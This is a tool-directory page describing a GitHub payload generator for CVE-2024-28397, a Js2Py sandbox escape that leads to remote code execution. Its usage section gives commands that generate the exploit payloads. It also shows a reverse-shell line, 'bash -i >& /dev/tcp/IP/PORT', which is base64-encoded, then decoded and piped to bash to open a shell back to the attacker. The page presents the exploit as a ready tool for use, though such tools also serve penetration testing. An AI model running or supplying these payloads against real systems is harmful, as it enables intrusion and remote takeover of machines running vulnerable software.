Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-28397-Js2Py-RCE | Kitploit
Tools/GitHubGitHub/y0naldez/cve-2024-28397-js2py-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlShellcode Generation
GitHuby0naldez/cve-2024-28397-js2py-rce

CVE-2024-28397-Js2Py-RCE

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-28397 - Js2Py Sandbox Escape Payload Generator

This script generates a JavaScript payload that can be evaluated by Js2Py in vulnerable environments where Python internals are exposed through object wrappers.

Usage

Basic command execution:

root@kitploit:~
python3 cve-2024-28397.py -c "id"

Generate a compact one-line payload:

root@kitploit:~
python3 cve-2024-28397.py -c "whoami" --compact

Reverse Shell with Base64

Generate the Base64 payload:

root@kitploit:~
echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' | base64 -w0

Generate the Js2Py payload:

root@kitploit:~
python3 cve-2024-28397.py -c "bash -c 'echo BASE64_OUTPUT | base64 -d | bash'" --compact

Replace BASE64_OUTPUT with the Base64 string generated in the first step.

Download Tool